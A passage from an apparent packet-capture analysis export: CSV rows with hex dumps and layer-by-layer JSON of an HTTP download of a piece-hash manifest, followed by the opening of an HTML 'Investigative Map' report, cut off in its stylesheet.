d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a703976,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9v\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 36818, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18597, \"\"src\"\": \"\"23.143.152.86\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64007, \"\"seq\"\": 795081144, \"\"ack\"\": 2190247974, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 25203, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"141230\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 28 Jun 2026 14:01:53 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-yyz4556-YYZ', b'X-Cache': b'HIT', b'X-Cache-Hits': b'117', b'X-Timer': b'S1762470900.581871,VS0,VE0', b'X-CID': b'10002', b'X-CCC': b'70fdae68-09f8-4e27-a1e8-f413a1635733', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9v\"\"}}]\"\n2026-06-28 14:01:53.923268,134,TCP 10.152.152.11:64007 -> 23.143.152.86:80,10.152.152.11,23.143.152.86,64007,80,TCP,Internal,Private Network,,,,,,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2190247974 Ack=795085192,bc24112907bbbc2411360d0c080045000028ef4a40008006b8fc0a98980b178f9856fa070050828c88262f640988501004021b530000,\".$.)...$.6\n...E..(.J@.....\n......V...P...&/d\t.P....S..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 47356, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.143.152.86\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64007, \"\"dport\"\": 80, \"\"seq\"\": 2190247974, \"\"ack\"\": 795085192, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 6995, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.923291,135,TCP 23.143.152.86:80 -> 10.152.152.11:64007,23.143.152.86,10.152.152.11,80,64007,TCP,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=795085192 Ack=2190247974,bc2411360d0cbc24112907bb0800450001938fd5400040065707178f98560a98980b0050fa072f640988828c88265018003f540e00006f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"oKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 403, \"\"id\"\": 36821, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22279, \"\"src\"\": \"\"23.143.152.86\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64007, \"\"seq\"\": 795085192, \"\"ack\"\": 2190247974, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 21518, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"oKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-06-28 14:01:53.923485,136,TCP 10.152.152.11:64007 -> 23.143.152.86:80,10.152.152.11,23.143.152.86,64007,80,TCP,Internal,Private Network,,,,,,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2190247974 Ack=795085555,bc24112907bbbc2411360d0c080045000028ef4b40008006b8fb0a98980b178f9856fa070050828c88262f640af35010040119e90000,\".$.)...$.6\n...E..(.K@.....\n......V...P...&/d\n.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 47355, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.143.152.86\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64007, \"\"dport\"\": 80, \"\"seq\"\": 2190247974, \"\"ack\"\": 795085555, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 6633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: 